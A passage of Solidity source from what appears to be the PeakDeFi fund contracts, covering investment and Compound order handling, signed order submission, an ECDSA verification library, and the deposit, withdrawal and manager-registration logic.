this.sellInvestmentAssetV2( _manager, _investmentId, _tokenAmount, _minPrice, _calldata, _useKyber ); } /** * @notice Creates a new investment for an ERC20 token. * @param _tokenAddress address of the ERC20 token contract * @param _stake amount of RepTokens to be staked in support of the investment * @param _maxPrice the maximum price for the trade * @param _calldata calldata for 1inch trading * @param _useKyber true for Kyber Network, false for 1inch */ function createInvestmentV2( address _sender, address _tokenAddress, uint256 _stake, uint256 _maxPrice, bytes memory _calldata, bool _useKyber ) public during(CyclePhase.Manage) nonReentrant isValidToken(_tokenAddress) { require(msg.sender == _sender || msg.sender == address(this)); require(_stake > 0); require(isKyberToken[_tokenAddress]); // Verify user peak stake uint256 peakStake = peakStaking.userStakeAmount(_sender); require(peakStake >= peakManagerStakeRequired); // Collect stake require(cToken.generateTokens(address(this), _stake)); require(cToken.destroyTokens(_sender, _stake)); // Add investment to list userInvestments[_sender].push( Investment({ tokenAddress: _tokenAddress, cycleNumber: cycleNumber, stake: _stake, tokenAmount: 0, buyPrice: 0, sellPrice: 0, buyTime: now, buyCostInUSDC: 0, isSold: false }) ); // Invest uint256 investmentId = investmentsCount(_sender).sub(1); __handleInvestment( _sender, investmentId, 0, _maxPrice, true, _calldata, _useKyber ); // Update last active cycle _lastActiveCycle[_sender] = cycleNumber; // Emit event __emitCreatedInvestmentEvent(_sender, investmentId); } /** * @notice Called by user to sell the assets an investment invested in. Returns the staked RepToken plus rewards/penalties to the user. * The user can sell only part of the investment by changing _tokenAmount. * @dev When selling only part of an investment, the old investment would be "fully" sold and a new investment would be created with * the original buy price and however much tokens that are not sold. * @param _investmentId the ID of the investment * @param _tokenAmount the amount of tokens to be sold. * @param _minPrice the minimum price for the trade */ function sellInvestmentAssetV2( address _sender, uint256 _investmentId, uint256 _tokenAmount, uint256 _minPrice, bytes memory _calldata, bool _useKyber ) public nonReentrant during(CyclePhase.Manage) { require(msg.sender == _sender || msg.sender == address(this)); Investment storage investment = userInvestments[_sender][_investmentId]; require( investment.buyPrice > 0 && investment.cycleNumber == cycleNumber && !investment.isSold ); require(_tokenAmount > 0 && _tokenAmount <= investment.tokenAmount); // Create new investment for leftover tokens bool isPartialSell = false; uint256 stakeOfSoldTokens = investment.stake.mul(_tokenAmount).div( investment.tokenAmount ); if (_tokenAmount != investment.tokenAmount) { isPartialSell = true; __createInvestmentForLeftovers( _sender, _investmentId, _tokenAmount ); __emitCreatedInvestmentEvent( _sender, investmentsCount(_sender).sub(1) ); } // Update investment info investment.isSold = true; // Sell asset ( uint256 actualDestAmount, uint256 actualSrcAmount ) = __handleInvestment( _sender, _investmentId, _minPrice, uint256(-1), false, _calldata, _useKyber ); __sellInvestmentUpdate( _sender, _investmentId, stakeOfSoldTokens, actualDestAmount ); } function __sellInvestmentUpdate( address _sender, uint256 _investmentId, uint256 stakeOfSoldTokens, uint256 actualDestAmount ) internal { Investment storage investment = userInvestments[_sender][_investmentId]; // Return staked RepToken uint256 receiveRepTokenAmount = getReceiveRepTokenAmount( stakeOfSoldTokens, investment.sellPrice, investment.buyPrice ); __returnStake(receiveRepTokenAmount, stakeOfSoldTokens); // Record risk taken in investment __recordRisk(_sender, investment.stake, investment.buyTime); // Update total funds totalFundsInUSDC = totalFundsInUSDC.sub(investment.buyCostInUSDC).add( actualDestAmount ); // Emit event __emitSoldInvestmentEvent( _sender, _investmentId, receiveRepTokenAmount, actualDestAmount ); } function __emitSoldInvestmentEvent( address _sender, uint256 _investmentId, uint256 _receiveRepTokenAmount, uint256 _actualDestAmount ) internal { Investment storage investment = userInvestments[_sender][_investmentId]; emit SoldInvestment( cycleNumber, _sender, _investmentId, investment.tokenAddress, _receiveRepTokenAmount, investment.sellPrice, _actualDestAmount ); } function __createInvestmentForLeftovers( address _sender, uint256 _investmentId, uint256 _tokenAmount ) internal { Investment storage investment = userInvestments[_sender][_investmentId]; uint256 stakeOfSoldTokens = investment.stake.mul(_tokenAmount).div( investment.tokenAmount ); // calculate the part of original USDC cost attributed to the sold tokens uint256 soldBuyCostInUSDC = investment .buyCostInUSDC .mul(_tokenAmount) .div(investment.tokenAmount); userInvestments[_sender].push( Investment({ tokenAddress: investment.tokenAddress, cycleNumber: cycleNumber, stake: investment.stake.sub(stakeOfSoldTokens), tokenAmount: investment.tokenAmount.sub(_tokenAmount), buyPrice: investment.buyPrice, sellPrice: 0, buyTime: investment.buyTime, buyCostInUSDC: investment.buyCostInUSDC.sub(soldBuyCostInUSDC), isSold: false }) ); // update the investment object being sold investment.tokenAmount = _tokenAmount; investment.stake = stakeOfSoldTokens; investment.buyCostInUSDC = soldBuyCostInUSDC; } function __emitCreatedInvestmentEvent(address _sender, uint256 _id) internal { Investment storage investment = userInvestments[_sender][_id]; emit CreatedInvestment( cycleNumber, _sender, _id, investment.tokenAddress, investment.stake, investment.buyPrice, investment.buyCostInUSDC, investment.tokenAmount ); } function createCompoundOrderWithSignature( bool _orderType, address _tokenAddress, uint256 _stake, uint256 _minPrice, uint256 _maxPrice, address _manager, uint256 _salt, bytes calldata _signature ) external { require(!hasUsedSalt[_manager][_salt]); bytes32 naiveHash = keccak256( abi.encodeWithSelector( this.createCompoundOrderWithSignature.selector, abi.encode( _orderType, _tokenAddress, _stake, _minPrice, _maxPrice ), "|END|", _salt, address(this) ) ); bytes32 msgHash = ECDSA.toEthSignedMessageHash(naiveHash); address recoveredAddress = ECDSA.recover(msgHash, _signature); require(recoveredAddress == _manager); // Signature valid, record use of salt hasUsedSalt[_manager][_salt] = true; this.createCompoundOrder( _manager, _orderType, _tokenAddress, _stake, _minPrice, _maxPrice ); } function sellCompoundOrderWithSignature( uint256 _orderId, uint256 _minPrice, uint256 _maxPrice, address _manager, uint256 _salt, bytes calldata _signature ) external { require(!hasUsedSalt[_manager][_salt]); bytes32 naiveHash = keccak256( abi.encodeWithSelector( this.sellCompoundOrderWithSignature.selector, abi.encode(_orderId, _minPrice, _maxPrice), "|END|", _salt, address(this) ) ); bytes32 msgHash = ECDSA.toEthSignedMessageHash(naiveHash); address recoveredAddress = ECDSA.recover(msgHash, _signature); require(recoveredAddress == _manager); // Signature valid, record use of salt hasUsedSalt[_manager][_salt] = true; this.sellCompoundOrder(_manager, _orderId, _minPrice, _maxPrice); } function repayCompoundOrderWithSignature( uint256 _orderId, uint256 _repayAmountInUSDC, address _manager, uint256 _salt, bytes calldata _signature ) external { require(!hasUsedSalt[_manager][_salt]); bytes32 naiveHash = keccak256( abi.encodeWithSelector( this.repayCompoundOrderWithSignature.selector, abi.encode(_orderId, _repayAmountInUSDC), "|END|", _salt, address(this) ) ); bytes32 msgHash = ECDSA.toEthSignedMessageHash(naiveHash); address recoveredAddress = ECDSA.recover(msgHash, _signature); require(recoveredAddress == _manager); // Signature valid, record use of salt hasUsedSalt[_manager][_salt] = true; this.repayCompoundOrder(_manager, _orderId, _repayAmountInUSDC); } /** * @notice Creates a new Compound order to either short or leverage long a token. * @param _orderType true for a short order, false for a levarage long order * @param _tokenAddress address of the Compound token to be traded * @param _stake amount of RepTokens to be staked * @param _minPrice the minimum token price for the trade * @param _maxPrice the maximum token price for the trade */ function createCompoundOrder( address _sender, bool _orderType, address _tokenAddress, uint256 _stake, uint256 _minPrice, uint256 _maxPrice ) public during(CyclePhase.Manage) nonReentrant isValidToken(_tokenAddress) { require(msg.sender == _sender || msg.sender == address(this)); require(_minPrice <= _maxPrice); require(_stake > 0); require(isCompoundToken[_tokenAddress]); // Verify user peak stake uint256 peakStake = peakStaking.userStakeAmount(_sender); require(peakStake >= peakManagerStakeRequired); // Collect stake require(cToken.generateTokens(address(this), _stake)); require(cToken.destroyTokens(_sender, _stake)); // Create compound order and execute uint256 collateralAmountInUSDC = totalFundsInUSDC.mul(_stake).div( cToken.totalSupply() ); CompoundOrder order = __createCompoundOrder( _orderType, _tokenAddress, _stake, collateralAmountInUSDC ); usdc.safeApprove(address(order), 0); usdc.safeApprove(address(order), collateralAmountInUSDC); order.executeOrder(_minPrice, _maxPrice); // Add order to list userCompoundOrders[_sender].push(address(order)); // Update last active cycle _lastActiveCycle[_sender] = cycleNumber; __emitCreatedCompoundOrderEvent( _sender, address(order), _orderType, _tokenAddress, _stake, collateralAmountInUSDC ); } function __emitCreatedCompoundOrderEvent( address _sender, address order, bool _orderType, address _tokenAddress, uint256 _stake, uint256 collateralAmountInUSDC ) internal { // Emit event emit CreatedCompoundOrder( cycleNumber, _sender, userCompoundOrders[_sender].length - 1, address(order), _orderType, _tokenAddress, _stake, collateralAmountInUSDC ); } /** * @notice Sells a compound order * @param _orderId the ID of the order to be sold (index in userCompoundOrders[msg.sender]) * @param _minPrice the minimum token price for the trade * @param _maxPrice the maximum token price for the trade */ function sellCompoundOrder( address _sender, uint256 _orderId, uint256 _minPrice, uint256 _maxPrice ) public during(CyclePhase.Manage) nonReentrant { require(msg.sender == _sender || msg.sender == address(this)); // Load order info require(userCompoundOrders[_sender][_orderId] != address(0)); CompoundOrder order = CompoundOrder( userCompoundOrders[_sender][_orderId] ); require(order.isSold() == false && order.cycleNumber() == cycleNumber); // Sell order (uint256 inputAmount, uint256 outputAmount) = order.sellOrder( _minPrice, _maxPrice ); // Return staked RepToken uint256 stake = order.stake(); uint256 receiveRepTokenAmount = getReceiveRepTokenAmount( stake, outputAmount, inputAmount ); __returnStake(receiveRepTokenAmount, stake); // Record risk taken __recordRisk(_sender, stake, order.buyTime()); // Update total funds totalFundsInUSDC = totalFundsInUSDC.sub(inputAmount).add(outputAmount); // Emit event emit SoldCompoundOrder( cycleNumber, _sender, userCompoundOrders[_sender].length - 1, address(order), order.orderType(), order.compoundTokenAddr(), receiveRepTokenAmount, outputAmount ); } /** * @notice Repys debt for a Compound order to prevent the collateral ratio from dropping below threshold. * @param _orderId the ID of the Compound order * @param _repayAmountInUSDC amount of USDC to use for repaying debt */ function repayCompoundOrder( address _sender, uint256 _orderId, uint256 _repayAmountInUSDC ) public during(CyclePhase.Manage) nonReentrant { require(msg.sender == _sender || msg.sender == address(this)); // Load order info require(userCompoundOrders[_sender][_orderId] != address(0)); CompoundOrder order = CompoundOrder( userCompoundOrders[_sender][_orderId] ); require(order.isSold() == false && order.cycleNumber() == cycleNumber); // Repay loan order.repayLoan(_repayAmountInUSDC); // Emit event emit RepaidCompoundOrder( cycleNumber, _sender, userCompoundOrders[_sender].length - 1, address(order), _repayAmountInUSDC ); } function emergencyExitCompoundTokens( address _sender, uint256 _orderId, address _tokenAddr, address _receiver ) public during(CyclePhase.Intermission) nonReentrant { CompoundOrder order = CompoundOrder(userCompoundOrders[_sender][_orderId]); order.emergencyExitTokens(_tokenAddr, _receiver); } function getReceiveRepTokenAmount( uint256 stake, uint256 output, uint256 input ) public pure returns (uint256 _amount) { if (output >= input) { // positive ROI, simply return stake * (1 + ROI) return stake.mul(output).div(input); } else { // negative ROI uint256 absROI = input.sub(output).mul(PRECISION).div(input); if (absROI <= ROI_PUNISH_THRESHOLD) { // ROI better than -10%, no punishment return stake.mul(output).div(input); } else if ( absROI > ROI_PUNISH_THRESHOLD && absROI < ROI_BURN_THRESHOLD ) { // ROI between -10% and -25%, punish // return stake * (1 + roiWithPunishment) = stake * (1 + (-(6 * absROI - 0.5))) return stake .mul( PRECISION.sub( ROI_PUNISH_SLOPE.mul(absROI).sub( ROI_PUNISH_NEG_BIAS ) ) ) .div(PRECISION); } else { // ROI greater than 25%, burn all stake return 0; } } } /** * @notice Handles and investment by doing the necessary trades using __kyberTrade() or Fulcrum trading * @param _investmentId the ID of the investment to be handled * @param _minPrice the minimum price for the trade * @param _maxPrice the maximum price for the trade * @param _buy whether to buy or sell the given investment * @param _calldata calldata for 1inch trading * @param _useKyber true for Kyber Network, false for 1inch */ function __handleInvestment( address _sender, uint256 _investmentId, uint256 _minPrice, uint256 _maxPrice, bool _buy, bytes memory _calldata, bool _useKyber ) internal returns (uint256 _actualDestAmount, uint256 _actualSrcAmount) { Investment storage investment = userInvestments[_sender][_investmentId]; address token = investment.tokenAddress; // Basic trading uint256 dInS; // price of dest token denominated in src token uint256 sInD; // price of src token denominated in dest token if (_buy) { if (_useKyber) { ( dInS, sInD, _actualDestAmount, _actualSrcAmount ) = __kyberTrade( usdc, totalFundsInUSDC.mul(investment.stake).div( cToken.totalSupply() ), ERC20Detailed(token) ); } else { // 1inch trading ( dInS, sInD, _actualDestAmount, _actualSrcAmount ) = __oneInchTrade( usdc, totalFundsInUSDC.mul(investment.stake).div( cToken.totalSupply() ), ERC20Detailed(token), _calldata ); } require(_minPrice <= dInS && dInS <= _maxPrice); investment.buyPrice = dInS; investment.tokenAmount = _actualDestAmount; investment.buyCostInUSDC = _actualSrcAmount; } else { if (_useKyber) { ( dInS, sInD, _actualDestAmount, _actualSrcAmount ) = __kyberTrade( ERC20Detailed(token), investment.tokenAmount, usdc ); } else { ( dInS, sInD, _actualDestAmount, _actualSrcAmount ) = __oneInchTrade( ERC20Detailed(token), investment.tokenAmount, usdc, _calldata ); } require(_minPrice <= sInD && sInD <= _maxPrice); investment.sellPrice = sInD; } } /** * @notice Separated from createCompoundOrder() to avoid stack too deep error */ function __createCompoundOrder( bool _orderType, // True for shorting, false for longing address _tokenAddress, uint256 _stake, uint256 _collateralAmountInUSDC ) internal returns (CompoundOrder) { CompoundOrderFactory factory = CompoundOrderFactory( compoundFactoryAddr ); uint256 loanAmountInUSDC = _collateralAmountInUSDC .mul(COLLATERAL_RATIO_MODIFIER) .div(PRECISION) .mul(factory.getMarketCollateralFactor(_tokenAddress)) .div(PRECISION); CompoundOrder order = factory.createOrder( _tokenAddress, cycleNumber, _stake, _collateralAmountInUSDC, loanAmountInUSDC, _orderType ); return order; } /** * @notice Returns stake to manager after investment is sold, including reward/penalty based on performance */ function __returnStake(uint256 _receiveRepTokenAmount, uint256 _stake) internal { require(cToken.destroyTokens(address(this), _stake)); require(cToken.generateTokens(msg.sender, _receiveRepTokenAmount)); } /** * @notice Records risk taken in a trade based on stake and time of investment */ function __recordRisk( address _sender, uint256 _stake, uint256 _buyTime ) internal { _riskTakenInCycle[_sender][cycleNumber] = riskTakenInCycle( _sender, cycleNumber ) .add(_stake.mul(now.sub(_buyTime))); } } pragma solidity ^0.5.0; /** * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations. * * These functions can be used to verify that a message was signed by the holder * of the private keys of a given address. */ library ECDSA { /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature`. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * NOTE: This call _does not revert_ if the signature is invalid, or * if the signer is otherwise unable to be retrieved. In those scenarios, * the zero address is returned. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. */ function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { // Check the signature length if (signature.length != 65) { return (address(0)); } // Divide the signature in r, s and v variables bytes32 r; bytes32 s; uint8 v; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. // solhint-disable-next-line no-inline-assembly assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (281): 0 < s < secp256k1n ÷ 2 + 1, and for v in (282): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) { return address(0); } if (v != 27 && v != 28) { return address(0); } // If the signature is valid (and not malleable), return the signer address return ecrecover(hash, v, r, s); } /** * @dev Returns an Ethereum Signed Message, created from a `hash`. This * replicates the behavior of the * https://github.com/ethereum/wiki/wiki/JSON-RPC#eth_sign[`eth_sign`] * JSON-RPC method. * * See {recover}. */ function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } } pragma solidity 0.5.17; import "./PeakDeFiStorage.sol"; import "./derivatives/CompoundOrderFactory.sol"; import "@nomiclabs/buidler/console.sol"; /** * @title Part of the functions for PeakDeFiFund * @author Zefram Lou (Zebang Liu) */ contract PeakDeFiLogic2 is PeakDeFiStorage, Utils(address(0), address(0), address(0)) { /** * @notice Passes if the fund has not finalized the next smart contract to upgrade to */ modifier notReadyForUpgrade { require(hasFinalizedNextVersion == false); _; } /** * @notice Executes function only during the given cycle phase. * @param phase the cycle phase during which the function may be called */ modifier during(CyclePhase phase) { require(cyclePhase == phase); if (cyclePhase == CyclePhase.Intermission) { require(isInitialized); } _; } /** * Deposit & Withdraw */ function depositEther(address _referrer) public payable { bytes memory nil; depositEtherAdvanced(true, nil, _referrer); } /** * @notice Deposit Ether into the fund. Ether will be converted into USDC. * @param _useKyber true for Kyber Network, false for 1inch * @param _calldata calldata for 1inch trading * @param _referrer the referrer's address */ function depositEtherAdvanced( bool _useKyber, bytes memory _calldata, address _referrer ) public payable nonReentrant notReadyForUpgrade { // Buy USDC with ETH uint256 actualUSDCDeposited; uint256 actualETHDeposited; if (_useKyber) { (, , actualUSDCDeposited, actualETHDeposited) = __kyberTrade( ETH_TOKEN_ADDRESS, msg.value, usdc ); } else { (, , actualUSDCDeposited, actualETHDeposited) = __oneInchTrade( ETH_TOKEN_ADDRESS, msg.value, usdc, _calldata ); } // Send back leftover ETH uint256 leftOverETH = msg.value.sub(actualETHDeposited); if (leftOverETH > 0) { msg.sender.transfer(leftOverETH); } // Register investment __deposit(actualUSDCDeposited, _referrer); // Emit event emit Deposit( cycleNumber, msg.sender, address(ETH_TOKEN_ADDRESS), actualETHDeposited, actualUSDCDeposited, now ); } /** * @notice Deposit USDC Stablecoin into the fund. * @param _usdcAmount The amount of USDC to be deposited. May be different from actual deposited amount. * @param _referrer the referrer's address */ function depositUSDC(uint256 _usdcAmount, address _referrer) public nonReentrant notReadyForUpgrade { usdc.safeTransferFrom(msg.sender, address(this), _usdcAmount); // Register investment __deposit(_usdcAmount, _referrer); // Emit event emit Deposit( cycleNumber, msg.sender, USDC_ADDR, _usdcAmount, _usdcAmount, now ); } function depositToken( address _tokenAddr, uint256 _tokenAmount, address _referrer ) public { bytes memory nil; depositTokenAdvanced(_tokenAddr, _tokenAmount, true, nil, _referrer); } /** * @notice Deposit ERC20 tokens into the fund. Tokens will be converted into USDC. * @param _tokenAddr the address of the token to be deposited * @param _tokenAmount The amount of tokens to be deposited. May be different from actual deposited amount. * @param _useKyber true for Kyber Network, false for 1inch * @param _calldata calldata for 1inch trading * @param _referrer the referrer's address */ function depositTokenAdvanced( address _tokenAddr, uint256 _tokenAmount, bool _useKyber, bytes memory _calldata, address _referrer ) public nonReentrant notReadyForUpgrade isValidToken(_tokenAddr) { require( _tokenAddr != USDC_ADDR && _tokenAddr != address(ETH_TOKEN_ADDRESS) ); ERC20Detailed token = ERC20Detailed(_tokenAddr); token.safeTransferFrom(msg.sender, address(this), _tokenAmount); // Convert token into USDC uint256 actualUSDCDeposited; uint256 actualTokenDeposited; if (_useKyber) { (, , actualUSDCDeposited, actualTokenDeposited) = __kyberTrade( token, _tokenAmount, usdc ); } else { (, , actualUSDCDeposited, actualTokenDeposited) = __oneInchTrade( token, _tokenAmount, usdc, _calldata ); } // Give back leftover tokens uint256 leftOverTokens = _tokenAmount.sub(actualTokenDeposited); if (leftOverTokens > 0) { token.safeTransfer(msg.sender, leftOverTokens); } // Register investment __deposit(actualUSDCDeposited, _referrer); // Emit event emit Deposit( cycleNumber, msg.sender, _tokenAddr, actualTokenDeposited, actualUSDCDeposited, now ); } function withdrawEther(uint256 _amountInUSDC) external { bytes memory nil; withdrawEtherAdvanced(_amountInUSDC, true, nil); } /** * @notice Withdraws Ether by burning Shares. * @param _amountInUSDC Amount of funds to be withdrawn expressed in USDC. Fixed-point decimal. May be different from actual amount. * @param _useKyber true for Kyber Network, false for 1inch * @param _calldata calldata for 1inch trading */ function withdrawEtherAdvanced( uint256 _amountInUSDC, bool _useKyber, bytes memory _calldata ) public nonReentrant during(CyclePhase.Intermission) { // Buy ETH uint256 actualETHWithdrawn; uint256 actualUSDCWithdrawn; if (_useKyber) { (, , actualETHWithdrawn, actualUSDCWithdrawn) = __kyberTrade( usdc, _amountInUSDC, ETH_TOKEN_ADDRESS ); } else { (, , actualETHWithdrawn, actualUSDCWithdrawn) = __oneInchTrade( usdc, _amountInUSDC, ETH_TOKEN_ADDRESS, _calldata ); } __withdraw(actualUSDCWithdrawn); // Transfer Ether to user msg.sender.transfer(actualETHWithdrawn); // Emit event emit Withdraw( cycleNumber, msg.sender, address(ETH_TOKEN_ADDRESS), actualETHWithdrawn, actualUSDCWithdrawn, now ); } /** * @notice Withdraws Ether by burning Shares. * @param _amountInUSDC Amount of funds to be withdrawn expressed in USDC. Fixed-point decimal. May be different from actual amount. */ function withdrawUSDC(uint256 _amountInUSDC) external nonReentrant during(CyclePhase.Intermission) { __withdraw(_amountInUSDC); // Transfer USDC to user usdc.safeTransfer(msg.sender, _amountInUSDC); // Emit event emit Withdraw( cycleNumber, msg.sender, USDC_ADDR, _amountInUSDC, _amountInUSDC, now ); } function withdrawToken(address _tokenAddr, uint256 _amountInUSDC) external { bytes memory nil; withdrawTokenAdvanced(_tokenAddr, _amountInUSDC, true, nil); } /** * @notice Withdraws funds by burning Shares, and converts the funds into the specified token using Kyber Network. * @param _tokenAddr the address of the token to be withdrawn into the caller's account * @param _amountInUSDC The amount of funds to be withdrawn expressed in USDC. Fixed-point decimal. May be different from actual amount. * @param _useKyber true for Kyber Network, false for 1inch * @param _calldata calldata for 1inch trading */ function withdrawTokenAdvanced( address _tokenAddr, uint256 _amountInUSDC, bool _useKyber, bytes memory _calldata ) public during(CyclePhase.Intermission) nonReentrant isValidToken(_tokenAddr) { require( _tokenAddr != USDC_ADDR && _tokenAddr != address(ETH_TOKEN_ADDRESS) ); ERC20Detailed token = ERC20Detailed(_tokenAddr); // Convert USDC into desired tokens uint256 actualTokenWithdrawn; uint256 actualUSDCWithdrawn; if (_useKyber) { (, , actualTokenWithdrawn, actualUSDCWithdrawn) = __kyberTrade( usdc, _amountInUSDC, token ); } else { (, , actualTokenWithdrawn, actualUSDCWithdrawn) = __oneInchTrade( usdc, _amountInUSDC, token, _calldata ); } __withdraw(actualUSDCWithdrawn); // Transfer tokens to user token.safeTransfer(msg.sender, actualTokenWithdrawn); // Emit event emit Withdraw( cycleNumber, msg.sender, _tokenAddr, actualTokenWithdrawn, actualUSDCWithdrawn, now ); } /** * Manager registration */ /** * @notice Registers `msg.sender` as a manager, using USDC as payment. The more one pays, the more RepToken one gets. * There's a max RepToken amount that can be bought, and excess payment will be sent back to sender. */ function registerWithUSDC() public during(CyclePhase.Intermission) nonReentrant { require(!isPermissioned); require(managersOnboardedThisCycle < maxNewManagersPerCycle); managersOnboardedThisCycle = managersOnboardedThisCycle.add(1); uint256 peakStake = peakStaking.userStakeAmount(msg.sender); require(peakStake >= peakManagerStakeRequired); uint256 donationInUSDC = newManagerRepToken.mul(reptokenPrice).div(PRECISION); usdc.safeTransferFrom(msg.sender, address(this), donationInUSDC); __register(donationInUSDC); } /** * @notice Registers `msg.sender` as a manager, using ETH as payment. The more one pays, the more RepToken one gets. * There's a max RepToken amount that can be bought, and excess payment will be sent back to sender. */ function registerWithETH() public payable during(CyclePhase.Intermission) nonReentrant { require(!isPermissioned); require(managersOnboardedThisCycle < maxNewManagersPerCycle); managersOnboardedThisCycle = managersOnboardedThisCycle.add(1); uint256 peakStake = peakStaking.userStakeAmount(msg.sender); require(peakStake >= peakManagerStakeRequired); uint256 receivedUSDC; // trade ETH for USDC (, , receivedUSDC, ) = __kyberTrade(ETH_TOKEN_ADDRESS, msg.value, usdc); // if USDC value is greater than the amount required, return excess USDC to msg.sender uint256 donationInUSDC = newManagerRepToken.mul(reptokenPrice).div(PRECISION); if (receivedUSDC > donationInUSDC) { usdc.safeTransfer(msg.sender, receivedUSDC.sub(donationInUSDC)); receivedUSDC = donationInUSDC; } // register new manager __register(receivedUSDC); } /** * @notice Registers `msg.sender` as a manager, using tokens as payment. The more one pays, the more RepToken one gets. * There's a max RepToken amount that can be bought, and excess payment will be sent back to sender. * @param _token the token to be used for payment * @param _donationInTokens the amount of tokens to be used for registration, should use the token's native decimals */ function registerWithToken(address _token, uint256 _donationInTokens) public during(CyclePhase.Intermission) nonReentrant { require(!isPermissioned); require(managersOnboardedThisCycle < maxNewManagersPerCycle); managersOnboardedThisCycle = managersOnboardedThisCycle.add(1); uint256 peakStake = peakStaking.userStakeAmount(msg.sender); require(peakStake >= peakManagerStakeRequired); require( _token != address(0) && _token != address(ETH_TOKEN_ADDRESS) && _token != USDC_ADDR ); ERC20Detailed token = ERC20Detailed(_token); require(token.totalSupply() > 0); token.safeTransferFrom(msg.sender, address(this), _donationInTokens); uint256 receivedUSDC; (, , receivedUSDC, ) = __kyberTrade(token, _donationInTokens, usdc); // if USDC value is greater than the amount required, return excess USDC to msg.sender uint256 donationInUSDC = newManagerRepToken.mul(reptokenPrice).div(PRECISION); if (receivedUSDC > donationInUSDC) { usdc.safeTransfer(msg.sender, receivedUSDC.sub(donationInUSDC)); receivedUSDC = donationInUSDC; } // register new manager __register(receivedUSDC); } function peakAdminRegisterManager(address _manager, uint256 _reptokenAmount) public during(CyclePhase.Intermission) nonReentrant onlyOwner { require(isPermissioned); // mint REP for msg.sender require(cToken.generateTokens(_manager, _reptokenAmount)); // Set risk fallback base stake _baseRiskStakeFallback[_manager] = _baseRiskStakeFallback[_manager].add( _reptokenAmount ); // Set last active cycle for msg.sender to be the current cycle _lastActiveCycle[_manager] = cycleNumber; // emit events emit Register(_manager, 0, _reptokenAmount); } /** * @notice Sells tokens left over due to manager not selling or KyberNetwork not having enough volume. Callable by anyone. Money goes to developer. * @param _tokenAddr address of the token to be sold * @param _calldata the 1inch trade call data */ function sellLeftoverToken(address _tokenAddr, bytes calldata _calldata) external during(CyclePhase.Intermission) nonReentrant isValidToken(_tokenAddr) { ERC20Detailed token = ERC20Detailed(_tokenAddr); (, , uint256 actualUSDCReceived, ) = __oneInchTrade( token, getBalance(token, address(this)), usdc, _calldata ); totalFundsInUSDC = totalFundsInUSDC.add(actualUSDCReceived); } /** * @notice Sells CompoundOrder left over due to manager not selling or KyberNetwork not having enough volume. Callable by anyone. Money goes to developer. * @param _orderAddress address of the CompoundOrder to be sold */ function sellLeftoverCompoundOrder(address payable _orderAddress) public during(CyclePhase.Intermission) nonReentrant { // Load order info require(_orderAddress != address(0)); CompoundOrder order = CompoundOrder(_orderAddress); require(order.isSold() == false && order.cycleNumber() < cycleNumber); // Sell short order // Not using outputAmount returned by order.sellOrder() because _orderAddress could point to a malicious contract uint256 beforeUSDCBalance = usdc.balanceOf(address(this)); order.sellOrder(0, MAX_QTY); uint256 actualUSDCReceived = usdc.balanceOf(address(this)).sub( beforeUSDCBalance ); totalFundsInUSDC = totalFundsInUSDC.add(actualUSDCReceived); } /** * @notice Registers `msg.sender` as a manager. * @param _donationInUSDC the amount of USDC to be used for registration */ function __register(uint256 _donationInUSDC) internal { require( cToken.balanceOf(msg.sender) == 0 && userInvestments[msg.sender].length == 0 && userCompoundOrders[msg.sender].length == 0 ); // each address can only join once // mint REP for msg.sender uint256 repAmount = _donationInUSDC.mul(PRECISION).div(reptokenPrice); require(cToken.generateTokens(msg.sender, repAmount)); // Set risk fallback base stake _baseRiskStakeFallback[msg.sender] = repAmount; // Set last active cycle for msg.sender to be the current cycle _lastActiveCycle[msg.sender] = cycleNumber; // keep USDC in the fund totalFundsInUSDC = totalFundsInUSDC.add(_donationInUSDC); // emit events emit Register(msg.sender, _donationInUSDC, repAmount); } /** * @notice Handles deposits by minting PeakDeFi Shares & updating total funds. * @param _depositUSDCAmount The amount of the deposit in USDC * @param _referrer The deposit referrer */ function __deposit(uint256 _depositUSDCAmount, address _referrer) internal { // Register investment and give shares uint256 shareAmount; if (sToken.totalSupply() == 0 || totalFundsInUSDC == 0) { uint256 usdcDecimals = getDecimals(usdc); shareAmount = _depositUSDCAmount.mul(PRECISION).div(10**usdcDecimals); } else { shareAmount = _depositUSDCAmount.mul(sToken.totalSupply()).div( totalFundsInUSDC ); } require(sToken.generateTokens(msg.sender, shareAmount)); totalFundsInUSDC = totalFundsInUSDC.add(_depositUSDCAmount); totalFundsAtManagePhaseStart = totalFundsAtManagePhaseStart.add( _depositUSDCAmount ); // Handle peakReferralToken if (peakReward.canRefer(msg.sender, _referrer)) { peakReward.refer(msg.sender, _referrer); } address actualReferrer = peakReward.referrerOf(msg.sender); if (actualReferrer != address(0)) { require( peakReferralToken.generateTokens(actualReferrer, shareAmount) ); } } /** * @notice Handles deposits by burning PeakDeFi Shares & updating total funds. * @param _withdrawUSDCAmount The amount of the withdrawal in USDC */ function __withdraw(uint256 _withdrawUSDCAmount) internal { // Burn Shares uint256 shareAmount = _withdrawUSDCAmount.mul(sToken.totalSupply()).div( totalFundsInUSDC ); require(sToken.destroyTokens(msg.sender, shareAmount)); totalFundsInUSDC = 